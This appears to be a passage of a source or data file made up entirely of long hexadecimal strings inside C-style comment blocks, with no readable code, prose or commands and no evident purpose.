142b565c6adfbe589f787fb7e79d191c1ca51d858da27073675d421c7ba4d99d091727d3289886c7db5dc3b99a10c98662bd48c8868aaf6f470ae302efe51cbc265ce88ab63a867c117a37e0ebdbb5d88ddbcee8be5b4fc3840123f97e6b3484cf17068ad294068fff1b99a0d9e0a8614409e24af0082614c00ea81cfc12ac23b76f75b150ef93c02cd80c67a89346293bb37beb0ef91a3bacb78c52f660ebb6e5ef65723685fc2fc402839095b4401b6731f31e8eb966dee70dd576ad771ec5ea23fd75a0ba6eff1879f381581f3a6708f4c57df903aa86ca0f57c6606e1e3556cb7dc9038843de34603acda5585def0dbc928fe6917d98c57b405a47578729cd9a6dd61354c13b5db781f02da08eb9a39b91a6011782907a715dc639f1178b747198089b5a5ba18f1c5e8f373de9511f80edf1f043c416fb55a87d7ed5cee4a6a52a950c10578b4f47ac7a9c61592c2eb8ab07c0ee544b1de6c591fc1ebc2d9d3f5dba1aa8c135c6e3da52e4b520d412ef8cf75d79db62044df696f33a5f042bf0308d99cb2d0e300b43178426ed06ea27bf2ded885836de5a215c7979ed93df9fcdea3c1067b1228173d28845f874f0d160c4c3df40a9fb144d6dc212ccad74e02cbbe390e41f4f5a045ad0ca41da131c2a8edb3e35c3f54503d55752cbb8ba94259f9afe9de3c5b0baef21e4d9183c279ae055713e755e5c14f55f7ed5f8f98e43514929abce564003287176e9f66a5a4d81b3d290697d119fc5966c2f1407274e49e1e7f6165386070f1ed035e34e50d8be7a2e89d7d876174692edc74db78dba8d8625ac515d364af5e30f7a8ac6e2f684e8586b0dd4c631564d6b3e0b9f383280a49f62c2bdfbe6d178fe8f2a2dbf06358a20ebde45dace337cc3a747aee8f72ef77660e4e22bed2e5a896f10f85fd381a108b62be1e10787a9d1359914aa7f28b157ef02625aa099f1e1281889d8600b5085546a202845edb138c3c8245fe9dd9fae9046e65f22fa4767d7f0ca24651d65b4132114b7e5793874edbe3adbdc106700111cb9063ad35fd17a402194a2936e161e49bf48644bff11ce529c366bf469b68baa1d01d92590b01b640c5f227bbc0adbda7428af0f9f5678cefad4446debc8c20c24cb699da8b4d75758569789094945fb6e1af6ecdbeb82bbad8132f297df51ff1292cd7b0266c0a7b2ab8753280c17dd6c39038e07e1045d1c0d35e50dceecc1cbfbed6f55c61e468cf7b7def6dd02d9f6660402e4f71366a16e8eae7d4da94b179ad2b02a234422c90361ca05b369af7c2102e84b2b58098ad1dbc1ce058c687524087cc206e5cb7c7f883f6881c77af9b78b46b56328e523587ea495f3d2f632ed680cfc63c58872392d2467a803f9fcc6d68c8a3c48214fc2035ccb1af92e14e15c700e606ce873b5216fe75793fd62737cbcc9400f0386be32fcd7152945271030fd9a3ab50ca4c78b98131ca087504d82891227350fb82be7bbcb871b302a9eb6a7bf25fc58e071ebcebe1195d56161fa88d45e94f3ecca1708467b2320261a19e0c2e5d34e3ed0ea00352a41331978d7dc262dbd7df9bb3e246454a6e7718fb2f7bde3c6ae9221a5798a64093ac6c9a390c984f9cf1f0fa2500be9267f27f2ee9f7692df0a4451dec28dbc4e970b222c47d170b0e0e673519c26fbd5598854deb3977b058fa73ab871f9d91c864b821b72e58743d361ac40052c8e002110ee6ecf7fb06b993e9d5d083c26d41a070fbbfb313497eb6325a92449839c9e7267d9628aa02a25887cc88e4b4d899ecbc6172c4e4fd1901eda326f5b23f039653628ec2ea8f3f4435d4a389c4b1a6a0e9c3ffca0f58772d0487922259fda7a92fc4e905c4b68e039672ec33986f5abcfc4d55ffc18fdf00f9e97051b9a26dcbd9594183d59c7c24b5ab556f16cfbe689f2829aea427ef490f26f35f21ab793031eed38340326a22c8c8c258ef1c6c2390b93d024c6e35a58793752d6f37c03d2e2e93e84742d8eefc92b172e7fcc4d088f53998ae6b2a70c64a43fa55a856aa2ad994da55ff786103c6c87e7a3801f90a71b5e292e9b17ebd64fad5b45931eac3bef43e755f1c81902b26dcfc0ba0ec43be625927fac68bfc0e25f4fd717a724af36776fbcc0c6d548768c8bee3bce871a7f0792862b53019ca4dc37be01237fbf5ec9e*/
/*6d462f33697a54baf22059f87475021ced723e0ab46c0053b54e8f378c95b7ffdfd96ac84c37a2624a2144b43c9fb074d1abeb6ddcc3b4aa3294dd0404ecc3e6668058fc4d4360b9f4bdb26e40d097ae89a44d63966898a9ff8714ed5c856cb387cd6edb7f89d0d056b367a62ccada4387fd033a147fff3415378fb9c0de1488f9383ecb85f4454c205b76ca6cd160cbe13ba3d3103c82510418da1f9051b37c257285f3b5782b77d32df41ae04c4bd6291e17fe9e8bcab9eac8c9f50b2cf390f4e8d7233f599627defeeb2a0e10d4d13e8710fe99cf8e61a5d15c076eb1231af9f2c67436742bfdbd06580d9e66df326672b87a5e4db97fab53376a5a1293f146f17dc4ae8214fb3bf870ff4284fe3fcf7181da8eb2266d95b34f8499b44a71de499f0574235d32d404122e7f7470744e789ccab094266e370aa465a2609efb8a0262fc603dc29901fd6d5a58c191288519ee4b1802e4a879418b2f74be3d471910cef4693c422bbb4a8240742d3d19e2d89f151c9e986c117f568b4fa9f1581255b865656d8983dc71655dfabc04b82278cc9bbf59e67c577495a709e20249fb451f4f037f1294b2e60e433dbba06d351cace2efc4b5f85e590166b0809428b78c012a53a933e4a6b15d500c251f208b1c3247ab971fd8716a23f555bc05e16e8f38f01f06f2555be5274c84f18215a4d0910885bb0ded7334da40ff668a3da93c2f59eed33e597eaa2511a6089560c869784849ed935d868431fde9dc0fe35600257b5566cdc5b818a7413cc7e932e86f52f2a1fda098f1293b3bc0b07abc85ecab07e9a41ac575571342bdbd64238188ab45a954a7b5ab1c5bc61f44ef784da4e29cc8d92bae70670b2bc28cad0eb7a582f35dd69d05d054fa61d5dc60f79fc3f57345439bff748c6cd7880280ad83fde4eb9b009c0443c0f08788727cf4428605b730bb104246feca937fe36095a26d70d2392c065f9fa9a1043498e5811667d54356dcabd42083589a581ec7db10748f3f6a173e091d54595b0239ba345c93a118d0328e891e06a35457a8d40244e19597a08b234f5d69b595a8e6c5d2d90eaaba273f59a440f3d548e0b947bf33fbc8166d33a9e5bafc19d46b74e005a858814aa17c7bd5127807219696b6dde94b781b355458e1d47629d55bcd7b51da822d2418577985b16a7fc4807d97fc74873644ee4873fe103bcfbeff243342c4a7f4b886836f0b7df8ae3114f5998699d38558d1afb1d8f6c5d6088eaac872625713d99385572f26777904c10cfb0173f1ce70df90b05715c3609758adac035e8448c4cbecbb7ecfc5fcb5d66d9e4ff6b95bee6d1220000e2bae86dfde9764a541ac749e9105d6d4c8b3aae4bf8d7ef6235106c836e04442d9b33eb678ad0245efec41cb569560045fabdd0ae3b69f69518b6fd679e5def742baa5c227aaa5a5ac972d70434033b590f12b09ea29bcb1a793435ed3c7c8c4b9ac8b0bababaadaaac96f1035dfd5b1530e3ec6c0904e6c33a1d508b9253b2f1cb95da57c2916d236fcd1096402313a372e0b3034a7f24f7b382f78d529c80128848c8a9f4b48e79249cf7874a926e9aa29e7a2201b5c5c2b36228a4c22690dd060e0428a8caa5c82e0a8b99245d2ff5f3c5cd176cfaa5cfec953b7ab42c415905444b8d9ce655597e1e3174ea2fe8ec1f21ade2205b3ff93a3e92a352081c9007f1b62ad30dd890243926b4538bbd661db6c12290d9fb61f21c0235e137e7db7166abf77bf8ea1c6761cb3b8a1735d59f773316ee074c3ba9a3ac431c3720d0e369c9a97078c373411d9562e71df5cfb71711e408cf1c973524a55c4bfd6747482671309a36053387cfd777dca1adf717fb36e89e1bae1c8c9cfa7ee3bf0d88f42678e9e99bec2a524ca1b750e29757a36397be825c8ddd6b259c4ea6fb0984245d377d515511e69f62f749d557e65641c6d8b6eefeefc7e8bc6f9ced7ea3fd078773ea73b32b758abf5720fc91c8d03d2faf62d52f5c162fff0e0cfef80fac15205c56a37aae785e855d70773859e3e76c35276085472d11e2636d9e49922470396d96878ac60af9aafaecf491f5df2b506bab3e213dbf4f5983694e35a861b09c41721dfd8f461b093c0de9f53383840e6f600749017f1191b80ec5a5989ba9aa98a706d2f18479414f435c5a074a9b0fb24ac7843e6c94ac4aa76b77ba58078bb8125a277b51f922126aa4c964f5adcf54bd2946bfc9fad3823f62ee5081a6cdebffa1158e9dc1d5af88d6d95bf593d0d2527098c4745b77712a9cde42b5fb5620d0d16e321e98eb68074c52d813360cc510d62ee02d5927841d8657c84edc71b2961ace1ee51013ca98a89550b60142d425b93da97834512fe6bab509c7e3bc00dfddb47054125f3bfc3e125a4638e7136610e9e14a4dd9ee81116cfe55016fc7c449b3e97186c7ade90238fb69eb69ed893d7e9b97916c66eff960caf020aba31a416d78329c05134e82d16cbb4252795171e0d0512f648a4cce3ee71945fffa8588c814fd26a01d3050bd0d57ed9ac3aadd70422f746b9baffd4d2482d51b3eb291a232c51b41ce23a2f12f05e2f688fba685a00dc7fd7438b1aae19f8af59f32e23cf97c156328002d0dbd3bec31e822b06f6c03cab82e1a42716712f1d61d7313713a2ac7c42f23e8b5909bcedba9993eaa0950c1f3f8978f510f14fcc0157ada5bb47d4e95d03bd5ed7cf580e755d5e81a6077848385b9c2cbdd6805b6b7c585a2efaff344c33cd1accf374b28fa94252b95c52070dcb7dd3191ecc5dc24b34dfdb4f169ab14c0253722e199c91a47fa799*/
/*1e81ec8451947493c879fbb344f6ae1ce9dcc9907f600b1df6b0f05a33fdeddf0b2f3edeeadda65b66da7102d01fde2ef61be8460658a99ee7bda93628e1b2b7beefcc700b12072d4dbde40e85711035ad4723b6b04504a7669fd9851ea967ae35cce07344658a42cadf1f1abd80067b7c2d41c4f58edb058e3193002a175217b24669eed9bddb809dda89e31f04d1e54da06409b45d182c753d77863ec07b4bd0f0d28726d7ba6b1b225c305334064b8071eb3b53a7348e7363d22d9a8213b8ec9c3af0a8ff7720f813640cd314f9c4e5bb8857028fb455726a0b39a86bf37c3dcd3b88d9712e64f00bfb157084ce24b39a694c2d603ff2096f3b9c22a21ca384c4664c9a4b4a5d25f4b0569f488a636a6bb2bd1a244f115da05472df397656636482729e3514cde2f2dd1c6e731caec3180e80496e10f5494bd7719d577c1903add933ee6fa31cb5428cf945f199a090e086d576bf5daac1d999737aef975b02d0c5d194160ac1d28c9b87d35d1799fb1c83ffdd465042b51359ae1ecdf62ad336f6441d84a0d5cfccf08d6ed938388f7fa4bfb1fe6b792375cecbc17202da2c32196d9f8d560a40357592c2a3f6fe5cd8d8a0f54893c646764579b37f72105b4ba494e48438acbb596caaa71e22d6dcee95e56aef5f84f789ac2ceb3528f19f6b26e2eb367ceb64fac8251971555bf08bd0172829129412d20e9b2264fe85fb3320d15b9316189ed9375f9c6b9303b482e786028986aefd80de25a1fcf8010929b3483c7ad5b851ab102131e9ca7448515d8c85ca0996244b7840a921f5a0a0793cf3b5dfa6426f912eece306fa35b6b440880e803afe537c6f9bb5cd9b533125416488d4f78e95733642d6aa97c4909a9d77f297a3b108f1b370ad0eabe830d542b78aae82e22c2dc7cb82f721c6d2b719f944a7dbdb57ddf5c42fe8f8ebc14c5f3fec96dc9025a154074a3359566689edcb79543cded486622fef1de19267020291d4cbd7f44f4712d5175e64134e1db7683f6008ac920734cc34eb164911ff0e525fe8a56b5842f31d492f7dfb3d740749064fe3bd16f611172f09672f0079232cd1f5c0312e757ed7ed8fd2849df87c8eeb17c9ff3be7268d0f6b133c6dffa53b3b543bf7f5c07325a25aee071abb1be284c9bb0bc88354e60ac2984d5c7bd894ba9c5a373ada1ea32bdfcde933cab91b46114a22bc2114e21df5ec7fe0e90a1ff8b741d758f4723ad3cd8be10ea86a329d7a14e29b140704c54cc2f100f0f940a914415ab3b4207eb15e0485103b491590c50e73cf2f646a5f43305ff07c6aed27292ddb8e81cc25f742229c55d9e5d3f1746fc993af17e8523cacf1d89b36b8a061c9f4aae7d5a3e660fc0ac56b7c330805aebab69dfae38786fe791d44b5244b34c74dfb1de7db184aecd814271eeb1edf47be5d0f15c8198e0e953c8a606fda4d28e18c18dcdc9991c7a3c9ddbad7b9af92a1fc017c54ba804d9497ce6d01ce054fc7c04590940bc6190aead8b90f6076e21b2c033866fff556892af7f33c444789be037a36e2505cccf9b9291a3d9bfa71c98fb19b2697820f10fc6ec39055ae0a9fdbd7b554b3b18840d20e7b68ad68dc14a4559e4d29f9360a7bc64c51e47141c4b3e7107aa3de6a8d1ef6621ef62d0a2349d2f80b6aa3ce87e482264f7fcb5ad74a14d67c7a48574d29d1cf557a67f31548eb23c29605908fe8c1018b31959969fdd1eea790b1bc8e96d28fa4ae8f1a82825a20134cf2cd8733b6933ece14015f28c9861f304381f15f2942042e96fc906984b97cd9ac080703e6629ee30e15931f58f253c744216186dfeee538cc5e800df763f0a1b94c295d8a5f103cdbd3cfd94cbe2d35796ac8898c83becdeba0a64e96a62798fd20ed8065b08149e1708e38cfb2a56cc209a19486b72b7899d5b9722c3e4545bf1de17bab2db2aef79fb0cb4b32c3b84022b6d49f559daf059c28df2349bb7a5af8b55083fa2f5240b8fae96437bd3beea1c9089528a406a30652741116f2b92fca371d4c5759f7fd1880ef55098089703a15f07dc061e7cfab65fab4f927c9268e6807685cd144a80ce30bdb88300d6174b89c0a0c97322647bcb35e56959515bca3880316c4046a5fe75cc76e9c36c5dd4eb897c540ad6dfc28ff67262f37672b08ada96b2c98b9142450161ab89bf6d980e1e80b69af5c89d7729fb69c90dc2b18242ba22cb33b1ee504f0f8edf96256b8b36b2bc9ceaa69021b34a487ab50e5861b16f7cce98aa9167d05f3be56248baad9a2f5099037e05a7088f8055a4935ed87845db95110870cc19d0025522de555944a5523f680850a3109ca8d6440d663ffea774b046857d1f503d98158141a5aebb9e1d9d5ac982940fe4d640696686f49c759fdeb670b3080dc86695cb61f29d14f352ef0b47f0e85fa0fcb93e2fdb3e3be705c198debf91a351ceb7e75682a5cbded55a832f8ab338a8cc2c4fb13395d1f64427f0d5fea9e1d61ec97e11c899475b861f5a72ac21e842280ac3ea552a948958c20d8f905a2e737d594ce83671c73ef6c69b5639650b0f205085ed34f46c69f18794ea6c8d812d652c89989cb12b37b39d3b8336fa18ff482ed442a3162fc63afc3f34acb4f07d7a20b4382a1db2326713cfca8a72f1a9f31e358ae372ba5515e6cc52579120db44429132aa6eae02095fa2c3c2cee80e85d0202b832c156951da9bd1318dd3f0463072b7c9e9803e560ab61cc102ec1dcc1315aa106aa94a238b64b7f4b915a6a6dabc94aba871245f430d3df10749b27a9b3e7026d31f2e4885aaa5ba7cb3310cff79982f2*/
/*d6c3419ad2f960fe21e02e59cab2b43bdb2fc8f810708c0bc702f5df1571531a501a1e0f8dc287706da83ccaf0daf28cb402682f19b6bc1e09a477409e508bb3571a06cfa9fa0cf562cf95e6459ded82361789b22bf755f87418c0d9e3c21c6dcfb83d60d8046198c46239603ccbcbad45b0b6fb40d830330b0e8478640931a4abc9348f37d3b429cf02d04c0b951a5b1d2d0b1ce2497ee5dda06372d59ccd8f8cf1bddfda47d72a436c27060f05a22af9551b4c5a5d163263c74ab3a40ca9ac210b4e49b6bb05a9f08090e9464178eecb1f3cfeb4a7a13e7bf67b2267f44bfe8bfee3fa1ffba6b1e4ca5bd75830b418ecbf0e55eaf59741612a5ea442b9aa4e0d11447cb8ed51795936957b269c6c6bbd967e4cb22fcb0228c30417da0002dea8f42c1cc8ff65fc3e5922ef9b93fa113bcdcdebc44450a988affd1445c26cdffdc04e18327a3d4a766181863febd3eba64a56690be7e487736a4d402fb75c14d3135cdc4c91427a8bfbf43980b5a8a129f54cff157517cb5a74c472fdb4f1ae84d9a403374673541aedb72594f53409384636e3bee458d11e6e950433c8e3fc09623efab81ae2cf6b527907f88c1ca59a9af2121428f42f02788c5b44631c9835f16d8798f8071555b684181e1b0ebfbbbbdca7d37ba8afc3a9d174a360f7bddf3e40e7258daf6315dad8dcc5378de9f63007db1c3db26b6f4db2e723f710d820e82021a83852dd84674ff31dc141e957be35b300b0538b15290784d702bef54fd31ee69a2368448297f28e4640a3576759d608b64cf3f48cb0debb55691699daa4553e8e7aa4436d73ff2a9aa42fe8d9dddfd00bd806abd01bda43e4a30c145162b4ad87a505eb765672151bfcba5331e6d813ea68912414908ef35180518b59502d38f29048b9ca087be49ae11f82ef1d81237a15c7cc49935fec851a5e47ec7839b089896548ddb180e71d1b806a1b2fcef0ecdd45455e2d60b75951c700432424933d4ca1c543191d5566c09398bfb3f1858af6781dd94c0427ffb0f3fd2dd3bc796463431f69afff7210d4847ed7c0c65f688d35a2d0a9e808681ab6d8eed91e93b581ec3830bbb42f8bbd3a92ed176dc1e031a92ef54c1d903feeca5b13f1fdff506a0bb50201982b6e3c0cbc13a90c1096efc2d9b15f0c44b6da2d7654e9ddf53290329ac4941954f6ea358a4006e3be5ef00e1ef2eaddec34b52786e43f7edce7bc21b01eebbb48c3787196baa518a1f9c7940fa2fa651fde1deffd2860c143d6e929577039a6a703c9edce39e0e8fe1bbb22da0d6cc654a362976012a9e8976e6cf6caaffff5c8c295e18954ee99e2f2304de6d4e3d1bd8c3ccbb0bf9af252e69097405d84c3ed2f01f062cf69e437921f0834107f0ac34adc6c089ca75380b17f83c93211a2730d86b9246beb76098f7f186c6fde881f7eef59c5b70d0a33e0a3b1ae0a603b4b5ba6c35b220f1d7b5b27602fb2660d6bb67277a00cd4204f74f7c4d3d099e30b9b8fec74c9a3c30a4d45ae56ce36accb2fecf48a84c5519d3498236c4944411860def4b674519ab0047174466ad42bac4f3fe4a3afc46ddf2545e8d2ab1e8d01f47056d2d01d961a32ac713771b3f46e0f8aceb93de97a9f7b7d4abbebf60ae3ff8d2146cde25abca58ee8ce00d3e71183f8e077931097e175a91f8cf858faabf93f548b7b50af6160bf70541dc25428fe68b71d10e84bdeba074208952786adc4b6248e2350029640516c543705ecc88b8d42474661007091afe965178fde835555e63f3258ffe44342e9a6c621f2375651a4d09119f94553c51f0561fb80c8cfbe45439697ce26dc29a8b1b07aa735518f2a4b5c338cb83b9bc20a8b970adb0efcbf83e255e6998ed56618e569f8d28d7741c021a8849999fe7cf468ba6c5f4264389613d607e243b58794d746a711b50d495a96e20b845bf5d95571cb0885ed112ed166e69b0c4aa615e6b838adf5a549a0ef7feba78867b9650f625a4d3e63c28ab42e8ac2e56d59a2887c0e9aa570044113034299212d99f2da393c465ced66ba5a97243ef8ec35df3d31b58d01bdc0a446efe9c6c75357a69ece0d8344ad6c8927962eef6a4f7717a8774698924f07f3c6f41dfb7dae3e179c57b34bbd26c85a4d6b322869736707dbe65c1a5e87e37bb3fc93af6a53a52674fa9edb4c0c9e5c0710eb71e73a600635a45c7cc0a42a6d5b7a1726eb4c31b8b8e84efc9761e56a5e2c93f6c8c5402771ced37841dc67589075f7cc494ef618e5b278075db520e8b4d00fee72aba88975ec3b9bc03c48ceb73ece0c20c1ad1b00f168964dc74345fc5fda9f1c7da2902e7611c1a2de5800d8e04685cb12c8885d16a6baed90e749a7c0b009cdfb4db7adf17a3fd49cd09cfef9a588319dc6685e02bb5e88374852886872c942e3a7d4f671552e5dba6dc23f20d221912dbf1aa8a08eabd28256f23c2a748b0864d793fb88d7b799ff8d8cdea44105e1c10532333eff8335eaeed331eb121d823ffd758f5477d2329226c1097c5698b1ec5b9a619937f55e68dedd82903fb8f3b6ab63a1c5a093f640056a34f74336b351b92beae7cfe6031f9ebb70b2b83859db009314267fea8a70be5dde7e1cea039790994fea09145f298a26f350a8faf41dec029a992f0a34f146799fb3cf6517e0210bb71aad90b56499988d4a8b5c272891fd98d7774db5d9b99a20e43c7f3bfe3c3ba75fa428015549956d242295910ba10047e3af325ab0b2c03bbc758b33578b3d33db3ac236cdf2d926f633fdd719b03b39e8f59926f30631c08b4478ae740d6aafe6c287f4ab909174*/
/*d8e1b0df2f79acea3553d63ef9601951a992593bf9efcc971f72d8aecd5739987c92a0b17006c448a81c3ef0658bbdcf8e73e191719b19e53a7cf261d51a6a3346d70cf3bcd0e526915b961d720fce5740fec144a768dc3e8ed09fc0bbbad374e0baf1073cc4892b31e6579c6afba233471b3699e7eccdd2d2f07400ea881ab486744e2cf6937ffc4f1ccd9e71dbfc858ae215e07444e50871feea46c5aadc19c3d8fc6d5d190611e63e8af3680f67c52bd3f7a70cc6e1c89b390aaf5a53b28968c58ac15bcf5e64358675b003eadf9586ce46751e51d5d85a708754e18fa0b89acd756d5b52a340ac5a97b5d2599c8131c4a906f3d8618ea8272367b477c2f7f0a320d0c5838eefc97fc90dcd0eb71fe7e29a55f128ba49b0c33e9093d8400ab335f06a474830f4cbdf05759cf462b42aca440ce87cf7828cd89fc477783596058ead0c36e613dc31a1fd2b66cdd0b650ce40ac1d349f7d0c468837579a45d1dc33c14380cf06fba5b5153e3aeae1c4454df0d6a8d1e3b1a65f1013887c2a60f3ef7e764b1cbfc24b979441979ef752463a6fd7b14d7121117c5ec8c0cea3bfa682f116e4f94a34690e4e5378a33ef255442e1d9f7b0fbdf6445203b5806ddcaa03e0289186b5d6276b5642aeb65245c7778544e73c1327c9e1689675f8080b5cfa9960075dc50451fa0d3aa84fa21422d4d747e0c6dd525df94c4e8b35b46561e69b24c6c3d059b1b9e8417c4a4a41197c3fa943b6947e16b782cf473bd7cc2f28f40efa447fc388032e49671b6b9c4d8103582b7ef2e942d51567210d5e689689783b03fb9bd15da6a8b02d10e90df3047b869c91f23c541eb03fb25578898f11f9d1bd66efaf7f1ecf5fa9720e199c9da1eec42d6610cc2c1ca3a02ca2e8cb848354df3dc12332966ebf4c68ee44d2846e256cf7e900cdfa0d83ba8f629334b17cee3ba0a020e46415b4b60078322e40ddd946f6a87c578f9e799421d456a10ff7cf0634d87145283c177ad2073ef193343976372bacf9d803c5a585427489c264e8da749fa9cbf5037a90fde3a3b0b928ad1a1156fd36f3ffe560ba124fdf5105a60ff65c751d4c6efb41a063222d4e77ba3bfa2078e64d845766c35ae5ebb19e36a42e182bc38fdb7d9e5bc77f26d866b7344557f9826e341c71c684aa5959703b9fd97713ef09a65e9d48dbc5c497e2f7b9894fc5e4516ccdd59804a0b0d54ed78a44cfa18b6eb3d8711d6cd5adf4e0dcd27f6244cea336e6c527d1366bdaa93f3408a4414373d1ae36832a917dc546ab4602d1fe1ee367b08ec20c40a05c281b06121606a794d5fbf12fe762edb682c18fa89c7be941e2ad8efd3bfa4e136699e0c87cc069c07e06aada193c92f1c6fe27749f02dc0aad35a5ceba8d36604d6c5fb1196c08f202222851a9f926858ec21dd90b300d460f8c5f4601a975c16999b1ededec2891d10596d6f0953ef40dfd93b791004af0d0fbac39f19b305e125ee2ccc94504ddbf04da3a3db4ea549a1885eacb73ed281af5cb5f3c3a496a908af1efbd79ff0993e2999ac2f38cdeeea4f28560375b568eeb09658a88d1fb0a78f6e6b0451cc4ff939621e25c2c3d89beb09f6f1d3d2c77ecc3125c7e0672c91c56c3b1901fb77c9d6390b27f9d8deb6d0050cae52b24d2ba1a009428b6cccaafcb94ead4be47f515de8e5ff071de01aa8027e49af42131fd2570bccd12ee5b2f67286a4939f84a36a429609dacbf258446a853b2794d4d49de01f54d70d73258cf88338e5b953cd731711a9a77e60c7bec87f8bef51ae16c53ad2f58b8345391bbc408608fa133a625f8eb5df6b375e37f062d6e8effaa29198e37dc8ad21a4b207639489f32093293ce65da8ba9505e311ee8b5695575e24497073cd8377e80f176f4558191d48bfc47b89c79d3e5d41383120f0a6884580480876aefac92312f544a1064341761ca2d40374d4b2beb8300c583995ea5b87c7f2b31b3d978977820d9e429c877fab512a6a09fcd4e9952f612e7692bc4b8c574081baf1fd8b5a65ccae918470404b49165e1e5398f9c540e6acd7d84d24138b76270957bf7443f8070b9268a886ef3b7b1d8c2095d06f245bcc34207f2e8ec982f79fa7a74e3f3b5748cf60f7782eac4bb0265ad0e8a94a4e52d9ac31b5f3b6b5707651d687867caecdb50b17a36c4360d58200a63fd5f2d4eb19e4dde3d3fab471c3079a94103834c9bb4a0f7491bc6de57a9c11d0aa9ae978cf791959a6cf5ee8398cb314a6a4a54ebecbf75e9acca32498885ae3b6d1c0cbb3a6c9ed3f2b51269a3ee98db36bad1ddd0e113285e2263e52213fee2b2124737c613c37db96dad37fea0c96771b02037d1e8f9d29992c4e3dead076a3b0c99ca52ae35ed9dceff2a33245c4f08000e76da6c57f5eff52b8eef0328f80e9c9df6613cacf3cdf1e015b6b8f6da452823e3b636a8d602ec23a9a6f2f84f7e0a00863873a802a2505dc190cf660c14cf6ae75e4dd22cbd2fea6efc84e2be00562f815e1fb65956e2e5907ade13b20b161edd37dc5bbde1db4ebd1a3979a1256b3d4fca4c858e5e55c1d2cec0f96a1a80cedddbe74d7abb190be4241161654bc95e8bfcf9203b76be33f2b880dec7930e39134c988acc87c4faeb8dcd8e50fb79ca9195872834a6ceec5c1c8b91d97ff982f73e8f11a2cebba6785e0f06c2c39aa69bca255c0ae3b23d68974ccff01e5301f23e818d502189bc431de3de02c0a79aa58421f5bd08802aaa2660ee3c1248a87d5846467bee02e8286acee9e73b197d70dc0c16158415acc96cf81a4bb8344e50bf8b93d92f22c65c*/
/*2cbf15eb6b34d4a6a87ef3bcad15a000360eb183754bfc07fe37b0b72a5313e5a09339de750b9089c85aff26f469eb9a18f598cec1a1ec41696072eed37b8bbf06300258a1ff5bad808fe94628513b112a5e0dd458d5cb0da94f1a5b66e13bf8a43026998a5905248d8b99c48deb2292b725b2ebcccd62c3863275ffa7433fb333d996860800dea89bcb51a82f44190f12a46682f553e171746a746b49172e36063349c0a78c4bdf0407bd09a1b55c1246790d012515d5803e041c3958d455663b81d8ee018abe290993777648776a033ccfc438e149c671bfc49771b03bf28b1754dbd500222bb35bb223dc253261a687b2a5d827c7bc36f2ef20692bf8d58a014a0d9ebcff84c869b38ea239074c84ab63019363d6d36b8e1fa29975f62bef851121d58faf8d431db61993c4f161c634303d0e5fd6bfa51a0f74426f4622fe314ab4189899bd2e4e0cbf04261922325c6e2cffe2766897779a5489536b5aed5ed0c5ad8cbdd86d094c38db41f4960457397583ab63ea0539a6a51f5e3f70f9e04ba2bca5109ec934841cc17efb2556a9dc95cf9dc0e0010b09a81cf318c1289439ad02ef8601b5874159410e5639a4f77ca5f7e7e1d0e24494c6c49439c847d8ed52de4d9ee7260cf3ae37afced236ae1c745a8161b6bc183fd66dccc8a4c2b06122958094ed7e1b623943900f3ffe18fd29260d1184f0927af9e5cd5d39858c6a889afdd5f35fac1c3555f2eec82e65074fabe6e9483baefaa344d7c4ee64d12daba6973cdde6f508fabebe73906e0382a067139ad188caadf2bd38d1d98b70b3c987c032ed513f157f101d5f8237c111064acb1af0184e35568a5a69d7a147dac3fda48e5a31c5d1d71ba544bc39457e7c3af7a8a159f9c827476255e44d4f20986a2927f9e3787ccd1efd06c762f5a42cab2e355600e67f5d07391fc007d0b19348716f0d01b752e78c71f1c55486e9682a6eb4f1cf7626623cead0d1775c0f656343ba2e3a65cf6c72b438d4cc7aa1c3f70cefebc13f02adb462b1fdc36455ae8800d521d7a521b040452c1506d84408877aad7b3490c25b519e4bc476f0dce6a1603ddcb093f67cf0db5a997f026d393fd77b3b5d9e9d33c3d55036f04676c67ce0dfa8da412ca111e8850eca9abed04f0df9dcfdd10aa29aee77adbc315c6306d50af06d0189877349c26970bb11eb29482bc767dfd6811dd03aa3903455dbf07b069e393cf45d155435b6718dca0f3cf13d880cc892ab77d4dc9910680ce054011af8656f04caf3ceb9bbab19712c927efc043e54a8bd944b17f5c2471353d74ea43283f27ed6f58b7e71928f8283d7fcb6a533402c52dfe42ad3b1f23438ed556001f76ca8aaf705e80cfe150d2be42fa69a591d13efefeeff9384de133eeac92957d35b1980e9ce3f4985a6ce52dd2a86642198b6931d79b36618fe8148dbac45b2be636ebf13beea45a365bd10b3a0136f5f6447d1d5dc5bd9ce5b7474cfce01b5ee9e3d73c285b9f14e0f04682bea52da069070129693291c28c758246859c3721cd8c642c85594413cf86a8d15b62f582ffe556ac67e39de14f778d36d226dd5cde8eb76d7c15182bd19a36b2bc1566b75709bfe19a88171c0bd98d081364322bd6336d92b6652fbd2e821d26979adf9d5bbc421b79ccc922f53b6dde5e9fa786a188facd484dfd926890d1d3220c4792c2d79e5f7c966eb98f043b2da24d9659499093ddf0071962de97e5f1c4b5f0df81c6642f08f3c5bbbfea164334edf27c784a1ab4e342f6d88f693f45f66f3b42af1872a18c2f7c74e6f04a1ca915db970d1c66237c1c56fe4f8137bb34e46f73b8631355010545adf1ef8ea3049fcb702ab744c397958b17e05b35caa447646a810c2fd999d14b5f93a937d717231405421f644bbe3361da09fbbadb53521c539f886291211f87ca349440ea648a55b9cb6feafec83a55f3f6123a1fcea08ced6fa4a3d1004836cf40dfbdcf658393f70aa7c7a0312d970a2dbdd492dfb6f54db0f10e9c0b1ea0d222ced65c6889bc60c813b21c8fd50857263d46b9501801dd0af5dbb1935ed9aaaccd1ded302a5f02984fd3031a33449d25f688302797e87c4f2f233ba0f657042893610f6dd1165b4f2e9a51fcb9120eb7f6779af5dbde8196e5df240fedba1f809ae3c7e4f218c547074e1e8098fd52b44b42ffdbac9031e923ed575f669b077d6ee7857ed47dcbd66ec308f4b60ebc2cd70d5be70dcd74dcb7266730eefd4d297fbc90b43d9e4eb21f383c1af76fc813c409fb8e220448f48540b81faa8dc76e2bed63871b797510ede15a7bdcec6293ebb7353b94c335a027b7ecff7979fcfa7836e1ec8f7a6473d9ba3726da433df2e5b7842dba1ccf302516cafe827293fc0179627a21d84d83a47408f18660967d5757b7d773826b5ccbe07cf8d3427b9d71f1b826957a99a50d683448ad1b341d8fa83de39eb1a7f4fe67e1525fe49c6c810c03ebf78bb1a5edba781b45adc6aedcfc35ba9fbea4bfef3a5a57c4662e8e1b5e2b95de941b1e00b4a02aaff41c6bd28d1dcb8e5b769a7ce0cde3fd0c39716993aba7549fd225d0f7862a2428cf8ffc50edc8d761646062daaf92ff2c868ad7b8d91f127af64b8e0dad8c576d055ae1145dce148964cb0c729d37c83d9d6adc0458b1213f90cf55af949bbbf2c33f51681db6